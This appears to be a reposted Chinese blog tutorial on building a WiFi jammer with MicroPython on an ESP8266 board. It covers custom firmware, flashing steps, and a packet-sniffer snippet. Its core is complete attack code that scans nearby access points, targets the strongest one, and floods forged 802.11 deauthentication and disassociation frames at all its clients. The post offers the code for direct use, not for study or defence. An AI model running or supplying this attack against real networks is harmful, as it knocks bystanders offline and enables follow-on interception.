我是靠谱客的博主 动人外套,最近开发中收集的这篇文章主要介绍micropython下载网络图片_MicroPython实现wifi干扰与抓包,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

0×00前言

之前做的WIFI攻击实验都是基于arduino环境开发的,最近想尝试一下使用micropython完成deautch(解除认证)攻击。本次开发板使用的还是TPYBoardv202。

15023316101863.jpg!small

0×01实现原理

a) 通过查阅资料和arduino的源码分析,了解到实现攻击其实就是发送IEEE802.11协议解除认证包,根据MAC层帧格式发送自定义的虚假deautch数据包。

b) 调用ESP8266SDK中wifi_send_pkt_freedom函数,发送攻击包。

0×02攻击构思

a) 程序一开始扫描附件的AP。

b) 找到信号最强的AP,获取到他的MAC地址(bssid)和信道。

c) 将TPYBoardv202切换到同攻击AP相同的信道。

d) 使用攻击AP的MAC地址,组合deauth解除认证包发送。

0×03编译烧写固件及程序源码

1、 编译固件

现有的micropython-esp8266固件中,并没有引出wifi_send_pkt_freedom函数,于是

我自己动手编译了一次固件,地址:

https://github.com/PakchoiFood/micropython-deauth

大家可以自行下载烧写使用,如果有的小伙伴想自己编译修改固件的话,请参考:

https://github.com/micropython/micropython/tree/master/esp8266

需要注意:在编译esp8266-sdk时,注意版本必须是1.3.0版本,否则wifi_send_pkt_freedom函数会一直返回-1失败。

下载后解压,文件如下:

1502331688291.png!small

firmware.bin文件:micropython-esp8266生成的固件。

增加的内容:

setAttack函数

参数:int类型(信道)

功能:设置esp8266的信道

send_pkt_freedom函数

参数:bytes数组(定义的数据包)

flash_download_tools_v3.3.6_win.rar:烧写固件的工具。

MicroPythonFileUploader.rar:用于将程序下载到TPYBoardv202Flash的工具。

main.py文件:程序源码文件,主要实现附件AP的扫描、数据包的组合和调用发送。

import time

import uos

import wireless

sta_if=wireless.attack(0)#0:STA 模式

sta_if.active(True)

ap_list=sta_if.scan()

print(ap_list)

ssid=''

bssid=''#bssid:AP MAC address

channel=''#信道

_client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默认

def deauth(_ap,_client,type,reason):

# 0 - 1 type, subtype c0:

deauth (a0: disassociate)

# 2 - 3 duration (SDK takes

care of that)

# 4 - 9 reciever (target)

# 10 - 15 source (ap)

# 16 - 21 BSSID (ap)

# 22 - 23 fragment & squence number

# 24 - 25 reason code (1 = unspecified reason)

packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC,

0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00,

0x00,0x01, 0x00])

for i in range(0,6):

packet[4 + i] =_client[i]

packet[10 + i] = packet[16 + i] =_ap[i]

#set type

packet[0] = type;

packet[24] = reason

result=sta_if.send_pkt_freedom(packet)

if result==0:

time.sleep_ms(1)

return True

else:

return False

if __name__=="__main__":

max_rssid=0

max_id=0

num=0

#获取信号最强的AP 进行攻击

for i in ap_list:

if max_rssid==0:

max_rssid=i[3]#rssid

else:

if i[3]>max_rssid:

max_rssid=i[3]

max_id=num

num+=1

ssid=ap_list[max_id][0]

bssid=ap_list[max_id][1]

channel=ap_list[max_id][2]

print('ssid:',ssid,'-bssid:',bssid)

print('-channel:',channel,'-rssid:',max_rssid)

sendNum=5000#攻击次数

print('******************************')

if sta_if.setAttack(channel):

print('Set Attack OK')

time.sleep_ms(100)

print('---deauth runing-----')

for i in range(0,sendNum):

r_=deauth(bssid, _client, 0xC0,

0x01)

if r_:

deauth(bssid, _client, 0xA0,

0x01)

deauth(_client, bssid, 0xC0,

0x01)

deauth(_client, bssid, 0xA0,

0x01)

time.sleep_ms(5)

else:

print('---deauth fail-------')

time.sleep_ms(5000)

sniffer文件夹下的main.py实现网络抓包功能。

import wireless

import time

#可以指定信道1~13

sniffer=wireless.sniffer(6)

#0:表示从信道1开始 定时切换信道

#sniffer=wireless.sniffer(0)

烧写固件

1、 TPYBoardv202使用microUSB数据线接入电脑。查看安装的usb转串的端口。打开电脑的设备管理器(这里是COM57)。

1502332159905.png!small

2、 解压flash_download_tools_v3.3.6_win.rar,双击运行ESPFlashDownloadTool_v3.3.6.exe。

3、选择firmware.bin固件文件,地址0×00000,其他参数根据下图设置。我的COM选择COM57,根据自己的实际端口选择,波特率选择115200。

15023321944682.png!small

4、点击【START】,界面提示等待上电同步。按住板子上的FLASH键不松,同时按一下RST键复位上电。左侧空白区显示读取的MAC地址,状态显示下载中,此时松开按键即可。

15023322274630.png!small

5、等待下载完毕,关闭软件退出。

下载程序

6、解压MicroPythonFileUploader.rar,双击运行MicroPythonFileUploader.exe。

15023322614533.png!small

此软件需要.NETFramework4.2及以上版本,若打开失败,请安装.NETFramework后再使用。

.NETFramework4.5下载地址:http://www.tpyboard.com/download/drive/174.html

7、选择COM57,点击【Open】打开串口。

15023322936658.png!small

8、点击右侧的文件夹图标的按钮,选择main.py文件。

15023323295041.png!small

9、此时可以点击【Send】,将程序发送给TPYBoardv202。发送成功后,程序自动运行。

15023323601156.png!small

10、接下来将sniffer下的main.py同样的是方式下载到板子里。(文件会覆盖)

打开串口助手,就可以看到esp8266抓包的数据。

15023323878236.png!small

最后

以上就是动人外套为你收集整理的micropython下载网络图片_MicroPython实现wifi干扰与抓包的全部内容,希望文章能够帮你解决micropython下载网络图片_MicroPython实现wifi干扰与抓包所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(42)

评论列表共有 0 条评论

立即
投稿
返回
顶部